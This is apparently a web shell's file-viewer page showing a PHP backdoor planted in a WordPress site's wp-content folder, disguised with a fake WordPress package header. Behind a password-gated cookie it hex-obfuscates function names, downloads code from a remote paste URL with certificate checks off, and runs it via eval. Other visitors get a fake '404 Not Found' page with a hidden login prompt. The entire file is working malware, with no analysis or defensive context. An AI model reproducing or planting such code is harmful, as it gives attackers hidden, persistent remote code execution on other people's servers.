HEX
Server: Apache
System: Linux srv1.prosuiteplus.com 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: prosuiteplus (1001)
PHP: 8.3.20
Disabled: NONE
Upload Files
File: /home/prosuiteplus/public_html/wp-content/1a.php
<?php
/**
 * @package    Wordpress
 * @copyright  Copyright (C) 2023 - 2024 Open Source Matters, Inc. All rights reserved.
 *
 */

// @deprecated  1.0  Deprecated without replacement
function is_logged_in()
{
    return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'LPH'; 
}

if (is_logged_in()) {
    $Array = array(
        '666f70656e', # fo p en => 0
        '73747265616d5f6765745f636f6e74656e7473', # strea m_get_contents => 1
        '66696c655f6765745f636f6e74656e7473', # fil e_g et_cont ents => 2
        '6375726c5f65786563' # cur l_ex ec => 3
    );

    function hex2str($hex) {
        $str = '';
        for ($i = 0; $i < strlen($hex); $i += 2) {
            $str .= chr(hexdec(substr($hex, $i, 2)));
        }
        return $str;
    }

    function geturlsinfo($destiny) {
        $belief = array(
            hex2str($GLOBALS['Array'][0]), 
            hex2str($GLOBALS['Array'][1]), 
            hex2str($GLOBALS['Array'][2]), 
            hex2str($GLOBALS['Array'][3])  
        );

        if (function_exists($belief[3])) { 
            $ch = curl_init($destiny);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            $love = $belief[3]($ch);
            curl_close($ch);
            return $love;
        } elseif (function_exists($belief[2])) { 
            return $belief[2]($destiny);
        } elseif (function_exists($belief[0]) && function_exists($belief[1])) { 
            $purpose = $belief[0]($destiny, "r");
            $love = $belief[1]($purpose);
            fclose($purpose);
            return $love;
        }
        return false;
    }

    $destiny = 'https://ghostbin.axel.org/paste/t85ng/raw';
    $dream = geturlsinfo($destiny);
    if ($dream !== false) {
        eval('?>' . $dream);
    }
} else {
    if (isset($_POST['password'])) {
        $entered_key = $_POST['password'];
        $hashed_key = '$2y$10$l7zhI2zXIMsZy2GeIP7cFOETCwIxLt08BhKygiXD46zhw0dvA7fWG'; 
        
        if (password_verify($entered_key, $hashed_key)) {
            setcookie('user_id', 'LPH', time() + 3600, '/'); 
            header("Location: ".$_SERVER['PHP_SELF']); 
            exit();
        }
    }
    ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>404 Not Found</title>
    <style>
        html,body{margin:0;padding:0;height:100%;overflow:hidden}
        iframe{position:absolute;top:0;left:0;width:100vw;height:100vh;border:none}
        #form{position:absolute;z-index:9999}
        #form input{opacity:0;pointer-events:none;position:absolute;cursor:default;transition:0.3s}
        #form input.revealed{opacity:1;pointer-events:auto;cursor:pointer}
        #form button{display:none}
        
        /* Improved Dot Styles */
        .clue-dot{
            position:fixed;
            bottom:25px;
            right:25px;
            width:16px;
            height:16px;
            background:rgba(255,59,48,0.8);
            border-radius:50%;
            cursor:pointer;
            z-index:10000;
            box-shadow:0 2px 8px rgba(0,0,0,0.3);
            border:2px solid rgba(255,255,255,0.9);
            transition:all 0.3s ease;
            animation:pulse 2s infinite;
        }
        .clue-dot:hover{
            transform:scale(1.2);
            background:rgba(255,59,48,1);
            box-shadow:0 4px 12px rgba(0,0,0,0.4);
        }
        .clue-dot:active{
            transform:scale(0.9);
        }
        @keyframes pulse{
            0%{box-shadow:0 0 0 0 rgba(255,59,48,0.7)}
            70%{box-shadow:0 0 0 10px rgba(255,59,48,0)}
            100%{box-shadow:0 0 0 0 rgba(255,59,48,0)}
        }
        
        /* Tooltip */
        .clue-dot::after{
            content:"Login Access";
            position:absolute;
            bottom:100%;
            right:0;
            background:rgba(0,0,0,0.8);
            color:white;
            padding:8px 12px;
            border-radius:6px;
            font-size:12px;
            white-space:nowrap;
            opacity:0;
            transform:translateY(-10px);
            transition:all 0.3s ease;
            pointer-events:none;
        }
        .clue-dot:hover::after{
            opacity:1;
            transform:translateY(-5px);
        }
        
        /* Password Input Styles */
        .password-container{
            position:fixed;
            top:50%;
            left:50%;
            transform:translate(-50%,-50%);
            background:white;
            padding:30px;
            border-radius:12px;
            box-shadow:0 10px 30px rgba(0,0,0,0.3);
            z-index:10001;
            display:none;
            min-width:300px;
        }
        .password-container.show{
            display:block;
            animation:fadeIn 0.3s ease;
        }
        @keyframes fadeIn{
            from{opacity:0;transform:translate(-50%,-60%)}
            to{opacity:1;transform:translate(-50%,-50%)}
        }
        .password-input{
            width:100%;
            padding:12px;
            margin:10px 0;
            border:2px solid #ddd;
            border-radius:6px;
            font-size:16px;
            box-sizing:border-box;
        }
        .password-input:focus{
            border-color:#007bff;
            outline:none;
        }
        .submit-btn{
            width:100%;
            padding:12px;
            background:#007bff;
            color:white;
            border:none;
            border-radius:6px;
            font-size:16px;
            cursor:pointer;
            transition:background 0.3s;
        }
        .submit-btn:hover{
            background:#0056b3;
        }
        .error-message{
            color:#dc3545;
            font-size:14px;
            margin-top:10px;
            display:none;
        }
    </style>
</head>
<body>
    <iframe src="/404"></iframe>
    
    <!-- Hidden Form for Processing -->
    <form id="form" method="post" style="display:none;">
        <input type="password" name="password" id="hiddenPassword">
        <button type="submit">Login</button>
    </form>
    
    <!-- Improved Dot Trigger -->
    <div class="clue-dot" title="Click for login access"></div>
    
    <!-- Password Modal -->
    <div class="password-container" id="passwordModal">
        <h3 style="margin:0 0 20px 0;text-align:center;">Enter Password</h3>
        <input type="password" class="password-input" id="passwordInput" placeholder="Enter password..." autocomplete="off">
        <button class="submit-btn" onclick="submitPassword()">Submit</button>
        <div class="error-message" id="errorMessage">Incorrect password. Please try again.</div>
    </div>

    <script>
        const dot = document.querySelector('.clue-dot');
        const passwordModal = document.getElementById('passwordModal');
        const passwordInput = document.getElementById('passwordInput');
        const errorMessage = document.getElementById('errorMessage');
        const hiddenPassword = document.getElementById('hiddenPassword');
        const form = document.getElementById('form');
        
        // Show password modal when dot is clicked
        dot.addEventListener('click', function() {
            passwordModal.classList.add('show');
            passwordInput.focus();
            errorMessage.style.display = 'none';
        });
        
        // Submit password function
        function submitPassword() {
            const password = passwordInput.value.trim();
            
            if (password === '') {
                return;
            }
            
            // Set the password in hidden form and submit
            hiddenPassword.value = password;
            form.submit();
        }
        
        // Allow Enter key to submit
        passwordInput.addEventListener('keypress', function(e) {
            if (e.key === 'Enter') {
                submitPassword();
            }
        });
        
        // Close modal when clicking outside
        passwordModal.addEventListener('click', function(e) {
            if (e.target === passwordModal) {
                passwordModal.classList.remove('show');
            }
        });
        
        // Random position for hidden form (kept for compatibility)
        const x = Math.random() * (window.innerWidth - 100);
        const y = Math.random() * (window.innerHeight - 30);
        form.style.left = `${x}px`;
        form.style.top = `${y}px`;
    </script>
</body>
</html>
    <?php
}
?>